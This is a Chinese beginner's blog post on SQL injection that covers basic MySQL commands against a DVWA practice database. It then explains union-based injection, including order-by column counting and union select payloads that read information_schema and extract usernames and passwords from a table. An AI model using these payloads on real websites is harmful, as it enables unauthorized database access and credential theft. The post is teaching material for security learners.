前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >自学sql注入(一)

自学sql注入(一)

作者头像
宸寰客
发布2020-07-14 15:36:39
4450
发布2020-07-14 15:36:39
举报
文章被收录于专栏:yuancao博客yuancao博客

这是笔者自行整理出来的有关sql注入的一些知识点,自己还有些迷迷糊糊,可能有些不对的地方。等学完之后,再来详写一系列的关于sql注入的文章

自学sql注入(二)

自学sql注入(三)

数据库MYSQL基础知识

1、什么是库、表、列、键、值

库:database,在数据库里面的数据的集合

表:table,隶属于某个库,在数据库里面以表格形式存在

列:column,表中竖着的内容

行:row,表中横着的内容

值:value,在表格中每个表格内的值

键:key,值的一种形式,在整个表内是独一无二没有重复的,用来精确匹配对应的值

表头:field,横着的第一排,用来表示各个列的名

2、mysql基础操作指南

在phpstudy里面进入mysql数据库查看,进入数据库:

先输入:mysql -u root -p 回车

再输入:root

mysql内的操作以分号 ; 结尾,一定要记得打

show databases; 查看当前所有的库

use dvwa; 进入dvwa的库

show tables; 查看dvwa库里面的表

desc users; 查看users表的表头信息

对数据的操作

select 查询数据,insert用于添加数据,update用于修改数据,delete用于删除数据

代码语言:javascript
复制
select user_id,user,password from users;    //查看users表中,user_id,user,password列中的数据
delete from users where user_id=1;         //删除user_id=1对应的行里面的值
insert into tabb (id,username,password) value (4,'test','test');   //在tabb表中插入表头为id,username,password的数据
update tabb set password='111111' where id=4;    //修改tabb表里id为4的password的值为111111

SQL注入

原理:开发者对输入校验不严格,导致攻击者可以输入精心构造的sql语句,使之带入到数据库内与原有的语句进行拼接,继而改变原有的语义去执行攻击者想要执行的语句。

代码语言:javascript
复制
select username,password from tabb where id=1 and 1=2;    //改变了数据库原有的查询

这就说明这里存在一个sql注入点

而sql注入有什么用?

1、获取敏感信息

2、获取服务器权限

从基础的union select(联合查询)注入说起:

1、union查询的要点是子查询的列数要与主查询列数一致;

2、使用order by 来确定主查询列数,order by本意是对主查询列进行排序,但是如果数字大于正确列数就会报错,小于或等于会正常显示。

3、确定后使用1,2,3,4,5…的数字来确定页面显示的位置;

4、在对应显示位置的数字上输入payload获得查询结果。

mysql中有几个默认的表达式,database(),user(),version(),分别表示当前数据库名当前数据库用户当前数据库版本

在mysql中有一个information_schema的库,里面存放了所有表的内容信息

代码语言:javascript
复制
-1 union select 1,(select table_name from information_schema.tables where table_schema='testa' limit 0,1),3
// 查询出当前的表
-1 union select 1,(select column_name from information_schema.columns where table_schema='testa' and table_name='tabb' limit 0,1),3
//查询出当前所有列名
-1 union select 1,(select username from tabb where id=1),(select password from tabb where id=1)
// 知晓列名和表名,就可以轻松查出所有的内容
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-07-12 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 数据库MYSQL基础知识
    • 1、什么是库、表、列、键、值
      • 2、mysql基础操作指南
      • SQL注入
      相关产品与服务
      云数据库 SQL Server
      腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档